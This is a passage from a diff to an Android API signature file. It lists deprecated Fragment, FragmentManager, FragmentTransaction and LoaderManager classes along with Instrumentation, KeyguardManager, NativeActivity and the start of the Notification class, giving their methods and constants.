+    method @Deprecated @Nullable public android.view.View onCreateView(android.view.LayoutInflater, @Nullable android.view.ViewGroup, android.os.Bundle);
+    method @Deprecated @CallSuper public void onDestroy();
+    method @Deprecated public void onDestroyOptionsMenu();
+    method @Deprecated @CallSuper public void onDestroyView();
+    method @Deprecated @CallSuper public void onDetach();
+    method @Deprecated public android.view.LayoutInflater onGetLayoutInflater(android.os.Bundle);
+    method @Deprecated public void onHiddenChanged(boolean);
+    method @Deprecated @CallSuper public void onInflate(android.util.AttributeSet, android.os.Bundle);
+    method @Deprecated @CallSuper public void onInflate(android.content.Context, android.util.AttributeSet, android.os.Bundle);
+    method @Deprecated @CallSuper public void onInflate(android.app.Activity, android.util.AttributeSet, android.os.Bundle);
+    method @Deprecated @CallSuper public void onLowMemory();
+    method @Deprecated public void onMultiWindowModeChanged(boolean, android.content.res.Configuration);
+    method @Deprecated public void onMultiWindowModeChanged(boolean);
+    method @Deprecated public boolean onOptionsItemSelected(android.view.MenuItem);
+    method @Deprecated public void onOptionsMenuClosed(android.view.Menu);
+    method @Deprecated @CallSuper public void onPause();
+    method @Deprecated public void onPictureInPictureModeChanged(boolean, android.content.res.Configuration);
+    method @Deprecated public void onPictureInPictureModeChanged(boolean);
+    method @Deprecated public void onPrepareOptionsMenu(android.view.Menu);
+    method @Deprecated public void onRequestPermissionsResult(int, @NonNull String[], @NonNull int[]);
+    method @Deprecated @CallSuper public void onResume();
+    method @Deprecated public void onSaveInstanceState(android.os.Bundle);
+    method @Deprecated @CallSuper public void onStart();
+    method @Deprecated @CallSuper public void onStop();
+    method @Deprecated @CallSuper public void onTrimMemory(int);
+    method @Deprecated public void onViewCreated(android.view.View, @Nullable android.os.Bundle);
+    method @Deprecated @CallSuper public void onViewStateRestored(android.os.Bundle);
+    method @Deprecated public void postponeEnterTransition();
+    method @Deprecated public void registerForContextMenu(android.view.View);
+    method @Deprecated public final void requestPermissions(@NonNull String[], int);
+    method @Deprecated public void setAllowEnterTransitionOverlap(boolean);
+    method @Deprecated public void setAllowReturnTransitionOverlap(boolean);
+    method @Deprecated public void setArguments(android.os.Bundle);
+    method @Deprecated public void setEnterSharedElementCallback(android.app.SharedElementCallback);
+    method @Deprecated public void setEnterTransition(android.transition.Transition);
+    method @Deprecated public void setExitSharedElementCallback(android.app.SharedElementCallback);
+    method @Deprecated public void setExitTransition(android.transition.Transition);
+    method @Deprecated public void setHasOptionsMenu(boolean);
+    method @Deprecated public void setInitialSavedState(android.app.Fragment.SavedState);
+    method @Deprecated public void setMenuVisibility(boolean);
+    method @Deprecated public void setReenterTransition(android.transition.Transition);
+    method @Deprecated public void setRetainInstance(boolean);
+    method @Deprecated public void setReturnTransition(android.transition.Transition);
+    method @Deprecated public void setSharedElementEnterTransition(android.transition.Transition);
+    method @Deprecated public void setSharedElementReturnTransition(android.transition.Transition);
+    method @Deprecated public void setTargetFragment(android.app.Fragment, int);
+    method @Deprecated public void setUserVisibleHint(boolean);
+    method @Deprecated public boolean shouldShowRequestPermissionRationale(@NonNull String);
+    method @Deprecated public void startActivity(android.content.Intent);
+    method @Deprecated public void startActivity(android.content.Intent, android.os.Bundle);
+    method @Deprecated public void startActivityForResult(android.content.Intent, int);
+    method @Deprecated public void startActivityForResult(android.content.Intent, int, android.os.Bundle);
+    method @Deprecated public void startIntentSenderForResult(android.content.IntentSender, int, @Nullable android.content.Intent, int, int, int, android.os.Bundle) throws android.content.IntentSender.SendIntentException;
+    method @Deprecated public void startPostponedEnterTransition();
+    method @Deprecated public void unregisterForContextMenu(android.view.View);
+  }
+
+  @Deprecated public static class Fragment.InstantiationException extends android.util.AndroidRuntimeException {
+    ctor @Deprecated public Fragment.InstantiationException(String, Exception);
+  }
+
+  @Deprecated public static class Fragment.SavedState implements android.os.Parcelable {
+    method @Deprecated public int describeContents();
+    method @Deprecated public void writeToParcel(android.os.Parcel, int);
+    field @Deprecated public static final android.os.Parcelable.ClassLoaderCreator<android.app.Fragment.SavedState> CREATOR;
+  }
+
+  @Deprecated public class FragmentBreadCrumbs extends android.view.ViewGroup implements android.app.FragmentManager.OnBackStackChangedListener {
+    ctor @Deprecated public FragmentBreadCrumbs(android.content.Context);
+    ctor @Deprecated public FragmentBreadCrumbs(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public FragmentBreadCrumbs(android.content.Context, android.util.AttributeSet, int);
+    method @Deprecated public void onBackStackChanged();
+    method @Deprecated public void setActivity(android.app.Activity);
+    method @Deprecated public void setMaxVisible(int);
+    method @Deprecated public void setOnBreadCrumbClickListener(android.app.FragmentBreadCrumbs.OnBreadCrumbClickListener);
+    method @Deprecated public void setParentTitle(CharSequence, CharSequence, android.view.View.OnClickListener);
+    method @Deprecated public void setTitle(CharSequence, CharSequence);
+  }
+
+  @Deprecated public static interface FragmentBreadCrumbs.OnBreadCrumbClickListener {
+    method @Deprecated public boolean onBreadCrumbClick(android.app.FragmentManager.BackStackEntry, int);
+  }
+
+  @Deprecated public abstract class FragmentContainer {
+    ctor @Deprecated public FragmentContainer();
+    method @Deprecated @Nullable public abstract <T extends android.view.View> T onFindViewById(@IdRes int);
+    method @Deprecated public abstract boolean onHasView();
+  }
+
+  @Deprecated public class FragmentController {
+    method @Deprecated public void attachHost(android.app.Fragment);
+    method @Deprecated public static final android.app.FragmentController createController(android.app.FragmentHostCallback<?>);
+    method @Deprecated public void dispatchActivityCreated();
+    method @Deprecated public void dispatchConfigurationChanged(android.content.res.Configuration);
+    method @Deprecated public boolean dispatchContextItemSelected(android.view.MenuItem);
+    method @Deprecated public void dispatchCreate();
+    method @Deprecated public boolean dispatchCreateOptionsMenu(android.view.Menu, android.view.MenuInflater);
+    method @Deprecated public void dispatchDestroy();
+    method @Deprecated public void dispatchDestroyView();
+    method @Deprecated public void dispatchLowMemory();
+    method @Deprecated public void dispatchMultiWindowModeChanged(boolean);
+    method @Deprecated public void dispatchMultiWindowModeChanged(boolean, android.content.res.Configuration);
+    method @Deprecated public boolean dispatchOptionsItemSelected(android.view.MenuItem);
+    method @Deprecated public void dispatchOptionsMenuClosed(android.view.Menu);
+    method @Deprecated public void dispatchPause();
+    method @Deprecated public void dispatchPictureInPictureModeChanged(boolean);
+    method @Deprecated public void dispatchPictureInPictureModeChanged(boolean, android.content.res.Configuration);
+    method @Deprecated public boolean dispatchPrepareOptionsMenu(android.view.Menu);
+    method @Deprecated public void dispatchResume();
+    method @Deprecated public void dispatchStart();
+    method @Deprecated public void dispatchStop();
+    method @Deprecated public void dispatchTrimMemory(int);
+    method @Deprecated public void doLoaderDestroy();
+    method @Deprecated public void doLoaderStart();
+    method @Deprecated public void doLoaderStop(boolean);
+    method @Deprecated public void dumpLoaders(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method @Deprecated public boolean execPendingActions();
+    method @Deprecated @Nullable public android.app.Fragment findFragmentByWho(String);
+    method @Deprecated public android.app.FragmentManager getFragmentManager();
+    method @Deprecated public android.app.LoaderManager getLoaderManager();
+    method @Deprecated public void noteStateNotSaved();
+    method @Deprecated public android.view.View onCreateView(android.view.View, String, android.content.Context, android.util.AttributeSet);
+    method @Deprecated public void reportLoaderStart();
+    method @Deprecated public void restoreAllState(android.os.Parcelable, java.util.List<android.app.Fragment>);
+    method @Deprecated public void restoreAllState(android.os.Parcelable, android.app.FragmentManagerNonConfig);
+    method @Deprecated public void restoreLoaderNonConfig(android.util.ArrayMap<java.lang.String,android.app.LoaderManager>);
+    method @Deprecated public android.util.ArrayMap<java.lang.String,android.app.LoaderManager> retainLoaderNonConfig();
+    method @Deprecated public android.app.FragmentManagerNonConfig retainNestedNonConfig();
+    method @Deprecated public java.util.List<android.app.Fragment> retainNonConfig();
+    method @Deprecated public android.os.Parcelable saveAllState();
+  }
+
+  @Deprecated public abstract class FragmentHostCallback<E> extends android.app.FragmentContainer {
+    ctor @Deprecated public FragmentHostCallback(android.content.Context, android.os.Handler, int);
+    method @Deprecated public void onAttachFragment(android.app.Fragment);
+    method @Deprecated public void onDump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method @Deprecated @Nullable public <T extends android.view.View> T onFindViewById(int);
+    method @Deprecated @Nullable public abstract E onGetHost();
+    method @Deprecated public android.view.LayoutInflater onGetLayoutInflater();
+    method @Deprecated public int onGetWindowAnimations();
+    method @Deprecated public boolean onHasView();
+    method @Deprecated public boolean onHasWindowAnimations();
+    method @Deprecated public void onInvalidateOptionsMenu();
+    method @Deprecated public void onRequestPermissionsFromFragment(@NonNull android.app.Fragment, @NonNull String[], int);
+    method @Deprecated public boolean onShouldSaveFragmentState(android.app.Fragment);
+    method @Deprecated public void onStartActivityFromFragment(android.app.Fragment, android.content.Intent, int, android.os.Bundle);
+    method @Deprecated public void onStartIntentSenderFromFragment(android.app.Fragment, android.content.IntentSender, int, @Nullable android.content.Intent, int, int, int, android.os.Bundle) throws android.content.IntentSender.SendIntentException;
+    method @Deprecated public boolean onUseFragmentManagerInflaterFactory();
+  }
+
+  @Deprecated public abstract class FragmentManager {
+    ctor @Deprecated public FragmentManager();
+    method @Deprecated public abstract void addOnBackStackChangedListener(android.app.FragmentManager.OnBackStackChangedListener);
+    method @Deprecated public abstract android.app.FragmentTransaction beginTransaction();
+    method @Deprecated public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method @Deprecated public static void enableDebugLogging(boolean);
+    method @Deprecated public abstract boolean executePendingTransactions();
+    method @Deprecated public abstract android.app.Fragment findFragmentById(int);
+    method @Deprecated public abstract android.app.Fragment findFragmentByTag(String);
+    method @Deprecated public abstract android.app.FragmentManager.BackStackEntry getBackStackEntryAt(int);
+    method @Deprecated public abstract int getBackStackEntryCount();
+    method @Deprecated public abstract android.app.Fragment getFragment(android.os.Bundle, String);
+    method @Deprecated public abstract java.util.List<android.app.Fragment> getFragments();
+    method @Deprecated public abstract android.app.Fragment getPrimaryNavigationFragment();
+    method @Deprecated public void invalidateOptionsMenu();
+    method @Deprecated public abstract boolean isDestroyed();
+    method @Deprecated public abstract boolean isStateSaved();
+    method @Deprecated public abstract void popBackStack();
+    method @Deprecated public abstract void popBackStack(String, int);
+    method @Deprecated public abstract void popBackStack(int, int);
+    method @Deprecated public abstract boolean popBackStackImmediate();
+    method @Deprecated public abstract boolean popBackStackImmediate(String, int);
+    method @Deprecated public abstract boolean popBackStackImmediate(int, int);
+    method @Deprecated public abstract void putFragment(android.os.Bundle, String, android.app.Fragment);
+    method @Deprecated public abstract void registerFragmentLifecycleCallbacks(android.app.FragmentManager.FragmentLifecycleCallbacks, boolean);
+    method @Deprecated public abstract void removeOnBackStackChangedListener(android.app.FragmentManager.OnBackStackChangedListener);
+    method @Deprecated public abstract android.app.Fragment.SavedState saveFragmentInstanceState(android.app.Fragment);
+    method @Deprecated public abstract void unregisterFragmentLifecycleCallbacks(android.app.FragmentManager.FragmentLifecycleCallbacks);
+    field @Deprecated public static final int POP_BACK_STACK_INCLUSIVE = 1; // 0x1
+  }
+
+  @Deprecated public static interface FragmentManager.BackStackEntry {
+    method @Deprecated public CharSequence getBreadCrumbShortTitle();
+    method @Deprecated public int getBreadCrumbShortTitleRes();
+    method @Deprecated public CharSequence getBreadCrumbTitle();
+    method @Deprecated public int getBreadCrumbTitleRes();
+    method @Deprecated public int getId();
+    method @Deprecated public String getName();
+  }
+
+  @Deprecated public abstract static class FragmentManager.FragmentLifecycleCallbacks {
+    ctor @Deprecated public FragmentManager.FragmentLifecycleCallbacks();
+    method @Deprecated public void onFragmentActivityCreated(android.app.FragmentManager, android.app.Fragment, android.os.Bundle);
+    method @Deprecated public void onFragmentAttached(android.app.FragmentManager, android.app.Fragment, android.content.Context);
+    method @Deprecated public void onFragmentCreated(android.app.FragmentManager, android.app.Fragment, android.os.Bundle);
+    method @Deprecated public void onFragmentDestroyed(android.app.FragmentManager, android.app.Fragment);
+    method @Deprecated public void onFragmentDetached(android.app.FragmentManager, android.app.Fragment);
+    method @Deprecated public void onFragmentPaused(android.app.FragmentManager, android.app.Fragment);
+    method @Deprecated public void onFragmentPreAttached(android.app.FragmentManager, android.app.Fragment, android.content.Context);
+    method @Deprecated public void onFragmentPreCreated(android.app.FragmentManager, android.app.Fragment, android.os.Bundle);
+    method @Deprecated public void onFragmentResumed(android.app.FragmentManager, android.app.Fragment);
+    method @Deprecated public void onFragmentSaveInstanceState(android.app.FragmentManager, android.app.Fragment, android.os.Bundle);
+    method @Deprecated public void onFragmentStarted(android.app.FragmentManager, android.app.Fragment);
+    method @Deprecated public void onFragmentStopped(android.app.FragmentManager, android.app.Fragment);
+    method @Deprecated public void onFragmentViewCreated(android.app.FragmentManager, android.app.Fragment, android.view.View, android.os.Bundle);
+    method @Deprecated public void onFragmentViewDestroyed(android.app.FragmentManager, android.app.Fragment);
+  }
+
+  @Deprecated public static interface FragmentManager.OnBackStackChangedListener {
+    method @Deprecated public void onBackStackChanged();
+  }
+
+  @Deprecated public class FragmentManagerNonConfig {
+  }
+
+  @Deprecated public abstract class FragmentTransaction {
+    ctor @Deprecated public FragmentTransaction();
+    method @Deprecated public abstract android.app.FragmentTransaction add(android.app.Fragment, String);
+    method @Deprecated public abstract android.app.FragmentTransaction add(@IdRes int, android.app.Fragment);
+    method @Deprecated public abstract android.app.FragmentTransaction add(@IdRes int, android.app.Fragment, String);
+    method @Deprecated public abstract android.app.FragmentTransaction addSharedElement(android.view.View, String);
+    method @Deprecated public abstract android.app.FragmentTransaction addToBackStack(@Nullable String);
+    method @Deprecated public abstract android.app.FragmentTransaction attach(android.app.Fragment);
+    method @Deprecated public abstract int commit();
+    method @Deprecated public abstract int commitAllowingStateLoss();
+    method @Deprecated public abstract void commitNow();
+    method @Deprecated public abstract void commitNowAllowingStateLoss();
+    method @Deprecated public abstract android.app.FragmentTransaction detach(android.app.Fragment);
+    method @Deprecated public abstract android.app.FragmentTransaction disallowAddToBackStack();
+    method @Deprecated public abstract android.app.FragmentTransaction hide(android.app.Fragment);
+    method @Deprecated public abstract boolean isAddToBackStackAllowed();
+    method @Deprecated public abstract boolean isEmpty();
+    method @Deprecated public abstract android.app.FragmentTransaction remove(android.app.Fragment);
+    method @Deprecated public abstract android.app.FragmentTransaction replace(@IdRes int, android.app.Fragment);
+    method @Deprecated public abstract android.app.FragmentTransaction replace(@IdRes int, android.app.Fragment, String);
+    method @Deprecated public abstract android.app.FragmentTransaction runOnCommit(Runnable);
+    method @Deprecated public abstract android.app.FragmentTransaction setBreadCrumbShortTitle(@StringRes int);
+    method @Deprecated public abstract android.app.FragmentTransaction setBreadCrumbShortTitle(CharSequence);
+    method @Deprecated public abstract android.app.FragmentTransaction setBreadCrumbTitle(@StringRes int);
+    method @Deprecated public abstract android.app.FragmentTransaction setBreadCrumbTitle(CharSequence);
+    method @Deprecated public abstract android.app.FragmentTransaction setCustomAnimations(@AnimatorRes int, @AnimatorRes int);
+    method @Deprecated public abstract android.app.FragmentTransaction setCustomAnimations(@AnimatorRes int, @AnimatorRes int, @AnimatorRes int, @AnimatorRes int);
+    method @Deprecated public abstract android.app.FragmentTransaction setPrimaryNavigationFragment(android.app.Fragment);
+    method @Deprecated public abstract android.app.FragmentTransaction setReorderingAllowed(boolean);
+    method @Deprecated public abstract android.app.FragmentTransaction setTransition(int);
+    method @Deprecated public abstract android.app.FragmentTransaction setTransitionStyle(@StyleRes int);
+    method @Deprecated public abstract android.app.FragmentTransaction show(android.app.Fragment);
+    field @Deprecated public static final int TRANSIT_ENTER_MASK = 4096; // 0x1000
+    field @Deprecated public static final int TRANSIT_EXIT_MASK = 8192; // 0x2000
+    field @Deprecated public static final int TRANSIT_FRAGMENT_CLOSE = 8194; // 0x2002
+    field @Deprecated public static final int TRANSIT_FRAGMENT_FADE = 4099; // 0x1003
+    field @Deprecated public static final int TRANSIT_FRAGMENT_OPEN = 4097; // 0x1001
+    field @Deprecated public static final int TRANSIT_NONE = 0; // 0x0
+    field @Deprecated public static final int TRANSIT_UNSET = -1; // 0xffffffff
+  }
+
+  public final class GameManager {
+    method public int getGameMode();
+    field public static final int GAME_MODE_BATTERY = 3; // 0x3
+    field public static final int GAME_MODE_PERFORMANCE = 2; // 0x2
+    field public static final int GAME_MODE_STANDARD = 1; // 0x1
+    field public static final int GAME_MODE_UNSUPPORTED = 0; // 0x0
+  }
+
+  public class Instrumentation {
+    ctor public Instrumentation();
+    method public android.os.TestLooperManager acquireLooperManager(android.os.Looper);
+    method public void addMonitor(android.app.Instrumentation.ActivityMonitor);
+    method public android.app.Instrumentation.ActivityMonitor addMonitor(android.content.IntentFilter, android.app.Instrumentation.ActivityResult, boolean);
+    method public android.app.Instrumentation.ActivityMonitor addMonitor(String, android.app.Instrumentation.ActivityResult, boolean);
+    method public void addResults(android.os.Bundle);
+    method public void callActivityOnCreate(android.app.Activity, android.os.Bundle);
+    method public void callActivityOnCreate(android.app.Activity, android.os.Bundle, android.os.PersistableBundle);
+    method public void callActivityOnDestroy(android.app.Activity);
+    method public void callActivityOnNewIntent(android.app.Activity, android.content.Intent);
+    method public void callActivityOnPause(android.app.Activity);
+    method public void callActivityOnPictureInPictureRequested(@NonNull android.app.Activity);
+    method public void callActivityOnPostCreate(@NonNull android.app.Activity, @Nullable android.os.Bundle);
+    method public void callActivityOnPostCreate(@NonNull android.app.Activity, @Nullable android.os.Bundle, @Nullable android.os.PersistableBundle);
+    method public void callActivityOnRestart(android.app.Activity);
+    method public void callActivityOnRestoreInstanceState(@NonNull android.app.Activity, @NonNull android.os.Bundle);
+    method public void callActivityOnRestoreInstanceState(@NonNull android.app.Activity, @Nullable android.os.Bundle, @Nullable android.os.PersistableBundle);
+    method public void callActivityOnResume(android.app.Activity);
+    method public void callActivityOnSaveInstanceState(@NonNull android.app.Activity, @NonNull android.os.Bundle);
+    method public void callActivityOnSaveInstanceState(@NonNull android.app.Activity, @NonNull android.os.Bundle, @NonNull android.os.PersistableBundle);
+    method public void callActivityOnStart(android.app.Activity);
+    method public void callActivityOnStop(android.app.Activity);
+    method public void callActivityOnUserLeaving(android.app.Activity);
+    method public void callApplicationOnCreate(android.app.Application);
+    method public boolean checkMonitorHit(android.app.Instrumentation.ActivityMonitor, int);
+    method public void endPerformanceSnapshot();
+    method public void finish(int, android.os.Bundle);
+    method public android.os.Bundle getAllocCounts();
+    method public android.os.Bundle getBinderCounts();
+    method public android.content.ComponentName getComponentName();
+    method public android.content.Context getContext();
+    method public String getProcessName();
+    method public android.content.Context getTargetContext();
+    method public android.app.UiAutomation getUiAutomation();
+    method public android.app.UiAutomation getUiAutomation(int);
+    method public boolean invokeContextMenuAction(android.app.Activity, int, int);
+    method public boolean invokeMenuActionSync(android.app.Activity, int, int);
+    method public boolean isProfiling();
+    method public android.app.Activity newActivity(Class<?>, android.content.Context, android.os.IBinder, android.app.Application, android.content.Intent, android.content.pm.ActivityInfo, CharSequence, android.app.Activity, String, Object) throws java.lang.IllegalAccessException, java.lang.InstantiationException;
+    method public android.app.Activity newActivity(ClassLoader, String, android.content.Intent) throws java.lang.ClassNotFoundException, java.lang.IllegalAccessException, java.lang.InstantiationException;
+    method public android.app.Application newApplication(ClassLoader, String, android.content.Context) throws java.lang.ClassNotFoundException, java.lang.IllegalAccessException, java.lang.InstantiationException;
+    method public static android.app.Application newApplication(Class<?>, android.content.Context) throws java.lang.ClassNotFoundException, java.lang.IllegalAccessException, java.lang.InstantiationException;
+    method public void onCreate(android.os.Bundle);
+    method public void onDestroy();
+    method public boolean onException(Object, Throwable);
+    method public void onStart();
+    method public void removeMonitor(android.app.Instrumentation.ActivityMonitor);
+    method public void runOnMainSync(Runnable);
+    method public void sendCharacterSync(int);
+    method public void sendKeyDownUpSync(int);
+    method public void sendKeySync(android.view.KeyEvent);
+    method public void sendPointerSync(android.view.MotionEvent);
+    method public void sendStatus(int, android.os.Bundle);
+    method public void sendStringSync(String);
+    method public void sendTrackballEventSync(android.view.MotionEvent);
+    method public void setAutomaticPerformanceSnapshots();
+    method public void setInTouchMode(boolean);
+    method public void start();
+    method public android.app.Activity startActivitySync(android.content.Intent);
+    method @NonNull public android.app.Activity startActivitySync(@NonNull android.content.Intent, @Nullable android.os.Bundle);
+    method @Deprecated public void startAllocCounting();
+    method public void startPerformanceSnapshot();
+    method public void startProfiling();
+    method @Deprecated public void stopAllocCounting();
+    method public void stopProfiling();
+    method public void waitForIdle(Runnable);
+    method public void waitForIdleSync();
+    method public android.app.Activity waitForMonitor(android.app.Instrumentation.ActivityMonitor);
+    method public android.app.Activity waitForMonitorWithTimeout(android.app.Instrumentation.ActivityMonitor, long);
+    field public static final String REPORT_KEY_IDENTIFIER = "id";
+    field public static final String REPORT_KEY_STREAMRESULT = "stream";
+  }
+
+  public static class Instrumentation.ActivityMonitor {
+    ctor public Instrumentation.ActivityMonitor(android.content.IntentFilter, android.app.Instrumentation.ActivityResult, boolean);
+    ctor public Instrumentation.ActivityMonitor(String, android.app.Instrumentation.ActivityResult, boolean);
+    ctor public Instrumentation.ActivityMonitor();
+    method public final android.content.IntentFilter getFilter();
+    method public final int getHits();
+    method public final android.app.Activity getLastActivity();
+    method public final android.app.Instrumentation.ActivityResult getResult();
+    method public final boolean isBlocking();
+    method public android.app.Instrumentation.ActivityResult onStartActivity(android.content.Intent);
+    method public final android.app.Activity waitForActivity();
+    method public final android.app.Activity waitForActivityWithTimeout(long);
+  }
+
+  public static final class Instrumentation.ActivityResult {
+    ctor public Instrumentation.ActivityResult(int, android.content.Intent);
+    method public int getResultCode();
+    method public android.content.Intent getResultData();
+  }
+
+  @Deprecated public abstract class IntentService extends android.app.Service {
+    ctor @Deprecated public IntentService(String);
+    method @Deprecated @Nullable public android.os.IBinder onBind(android.content.Intent);
+    method @Deprecated @WorkerThread protected abstract void onHandleIntent(@Nullable android.content.Intent);
+    method @Deprecated public void onStart(@Nullable android.content.Intent, int);
+    method @Deprecated public void setIntentRedelivery(boolean);
+  }
+
+  public class KeyguardManager {
+    method @Deprecated public android.content.Intent createConfirmDeviceCredentialIntent(CharSequence, CharSequence);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.DISABLE_KEYGUARD) public void exitKeyguardSecurely(android.app.KeyguardManager.OnKeyguardExitResult);
+    method @Deprecated public boolean inKeyguardRestrictedInputMode();
+    method public boolean isDeviceLocked();
+    method public boolean isDeviceSecure();
+    method public boolean isKeyguardLocked();
+    method public boolean isKeyguardSecure();
+    method @Deprecated public android.app.KeyguardManager.KeyguardLock newKeyguardLock(String);
+    method public void requestDismissKeyguard(@NonNull android.app.Activity, @Nullable android.app.KeyguardManager.KeyguardDismissCallback);
+  }
+
+  public abstract static class KeyguardManager.KeyguardDismissCallback {
+    ctor public KeyguardManager.KeyguardDismissCallback();
+    method public void onDismissCancelled();
+    method public void onDismissError();
+    method public void onDismissSucceeded();
+  }
+
+  @Deprecated public class KeyguardManager.KeyguardLock {
+    method @Deprecated @RequiresPermission(android.Manifest.permission.DISABLE_KEYGUARD) public void disableKeyguard();
+    method @Deprecated @RequiresPermission(android.Manifest.permission.DISABLE_KEYGUARD) public void reenableKeyguard();
+  }
+
+  @Deprecated public static interface KeyguardManager.OnKeyguardExitResult {
+    method @Deprecated public void onKeyguardExitResult(boolean);
+  }
+
+  @Deprecated public abstract class LauncherActivity extends android.app.ListActivity {
+    ctor @Deprecated public LauncherActivity();
+    method @Deprecated protected android.content.Intent getTargetIntent();
+    method @Deprecated protected android.content.Intent intentForPosition(int);
+    method @Deprecated protected android.app.LauncherActivity.ListItem itemForPosition(int);
+    method @Deprecated public java.util.List<android.app.LauncherActivity.ListItem> makeListItems();
+    method @Deprecated protected java.util.List<android.content.pm.ResolveInfo> onQueryPackageManager(android.content.Intent);
+    method @Deprecated protected void onSetContentView();
+  }
+
+  @Deprecated public class LauncherActivity.IconResizer {
+    ctor @Deprecated public LauncherActivity.IconResizer();
+    method @Deprecated public android.graphics.drawable.Drawable createIconThumbnail(android.graphics.drawable.Drawable);
+  }
+
+  @Deprecated public static class LauncherActivity.ListItem {
+    ctor @Deprecated public LauncherActivity.ListItem();
+    field @Deprecated public String className;
+    field @Deprecated public android.os.Bundle extras;
+    field @Deprecated public android.graphics.drawable.Drawable icon;
+    field @Deprecated public CharSequence label;
+    field @Deprecated public String packageName;
+    field @Deprecated public android.content.pm.ResolveInfo resolveInfo;
+  }
+
+  @Deprecated public class ListActivity extends android.app.Activity {
+    ctor @Deprecated public ListActivity();
+    method @Deprecated public android.widget.ListAdapter getListAdapter();
+    method @Deprecated public android.widget.ListView getListView();
+    method @Deprecated public long getSelectedItemId();
+    method @Deprecated public int getSelectedItemPosition();
+    method @Deprecated protected void onListItemClick(android.widget.ListView, android.view.View, int, long);
+    method @Deprecated public void setListAdapter(android.widget.ListAdapter);
+    method @Deprecated public void setSelection(int);
+  }
+
+  @Deprecated public class ListFragment extends android.app.Fragment {
+    ctor @Deprecated public ListFragment();
+    method @Deprecated public android.widget.ListAdapter getListAdapter();
+    method @Deprecated public android.widget.ListView getListView();
+    method @Deprecated public long getSelectedItemId();
+    method @Deprecated public int getSelectedItemPosition();
+    method @Deprecated public void onListItemClick(android.widget.ListView, android.view.View, int, long);
+    method @Deprecated public void setEmptyText(CharSequence);
+    method @Deprecated public void setListAdapter(android.widget.ListAdapter);
+    method @Deprecated public void setListShown(boolean);
+    method @Deprecated public void setListShownNoAnimation(boolean);
+    method @Deprecated public void setSelection(int);
+  }
+
+  @Deprecated public abstract class LoaderManager {
+    ctor @Deprecated public LoaderManager();
+    method @Deprecated public abstract void destroyLoader(int);
+    method @Deprecated public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
+    method @Deprecated public static void enableDebugLogging(boolean);
+    method @Deprecated public abstract <D> android.content.Loader<D> getLoader(int);
+    method @Deprecated public abstract <D> android.content.Loader<D> initLoader(int, android.os.Bundle, android.app.LoaderManager.LoaderCallbacks<D>);
+    method @Deprecated public abstract <D> android.content.Loader<D> restartLoader(int, android.os.Bundle, android.app.LoaderManager.LoaderCallbacks<D>);
+  }
+
+  @Deprecated public static interface LoaderManager.LoaderCallbacks<D> {
+    method @Deprecated public android.content.Loader<D> onCreateLoader(int, android.os.Bundle);
+    method @Deprecated public void onLoadFinished(android.content.Loader<D>, D);
+    method @Deprecated public void onLoaderReset(android.content.Loader<D>);
+  }
+
+  @Deprecated public class LocalActivityManager {
+    ctor @Deprecated public LocalActivityManager(android.app.Activity, boolean);
+    method @Deprecated public android.view.Window destroyActivity(String, boolean);
+    method @Deprecated public void dispatchCreate(android.os.Bundle);
+    method @Deprecated public void dispatchDestroy(boolean);
+    method @Deprecated public void dispatchPause(boolean);
+    method @Deprecated public void dispatchResume();
+    method @Deprecated public void dispatchStop();
+    method @Deprecated public android.app.Activity getActivity(String);
+    method @Deprecated public android.app.Activity getCurrentActivity();
+    method @Deprecated public String getCurrentId();
+    method @Deprecated public void removeAllActivities();
+    method @Deprecated public android.os.Bundle saveInstanceState();
+    method @Deprecated public android.view.Window startActivity(String, android.content.Intent);
+  }
+
+  public class MediaRouteActionProvider extends android.view.ActionProvider {
+    ctor public MediaRouteActionProvider(android.content.Context);
+    method public android.view.View onCreateActionView();
+    method public void setExtendedSettingsClickListener(android.view.View.OnClickListener);
+    method public void setRouteTypes(int);
+  }
+
+  public class MediaRouteButton extends android.view.View {
+    ctor public MediaRouteButton(android.content.Context);
+    ctor public MediaRouteButton(android.content.Context, android.util.AttributeSet);
+    ctor public MediaRouteButton(android.content.Context, android.util.AttributeSet, int);
+    ctor public MediaRouteButton(android.content.Context, android.util.AttributeSet, int, int);
+    method public int getRouteTypes();
+    method public void onAttachedToWindow();
+    method public void onDetachedFromWindow();
+    method public void setExtendedSettingsClickListener(android.view.View.OnClickListener);
+    method public void setRouteTypes(int);
+    method public void showDialog();
+  }
+
+  public class NativeActivity extends android.app.Activity implements android.view.InputQueue.Callback android.view.SurfaceHolder.Callback2 android.view.ViewTreeObserver.OnGlobalLayoutListener {
+    ctor public NativeActivity();
+    method public void onGlobalLayout();
+    method public void onInputQueueCreated(android.view.InputQueue);
+    method public void onInputQueueDestroyed(android.view.InputQueue);
+    method public void surfaceChanged(android.view.SurfaceHolder, int, int, int);
+    method public void surfaceCreated(android.view.SurfaceHolder);
+    method public void surfaceDestroyed(android.view.SurfaceHolder);
+    method public void surfaceRedrawNeeded(android.view.SurfaceHolder);
+    field public static final String META_DATA_FUNC_NAME = "android.app.func_name";
+    field public static final String META_DATA_LIB_NAME = "android.app.lib_name";
+  }
+
+  public class Notification implements android.os.Parcelable {
+    ctor public Notification();
+    ctor @Deprecated public Notification(int, CharSequence, long);
+    ctor public Notification(android.os.Parcel);
+    method public android.app.Notification clone();
+    method public int describeContents();
+    method @Nullable public android.util.Pair<android.app.RemoteInput,android.app.Notification.Action> findRemoteInputActionPair(boolean);
+    method public boolean getAllowSystemGeneratedContextualActions();
+    method public int getBadgeIconType();
+    method @Nullable public android.app.Notification.BubbleMetadata getBubbleMetadata();
+    method public String getChannelId();
+    method @NonNull public java.util.List<android.app.Notification.Action> getContextualActions();
+    method public String getGroup();
+    method public int getGroupAlertBehavior();
+    method public android.graphics.drawable.Icon getLargeIcon();
+    method @Nullable public android.content.LocusId getLocusId();
+    method public CharSequence getSettingsText();
+    method public String getShortcutId();
+    method public android.graphics.drawable.Icon getSmallIcon();
+    method public String getSortKey();
+    method public long getTimeoutAfter();
+    method public boolean hasImage();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final android.media.AudioAttributes AUDIO_ATTRIBUTES_DEFAULT;
+    field public static final int BADGE_ICON_LARGE = 2; // 0x2
+    field public static final int BADGE_ICON_NONE = 0; // 0x0
+    field public static final int BADGE_ICON_SMALL = 1; // 0x1
+    field public static final String CATEGORY_ALARM = "alarm";
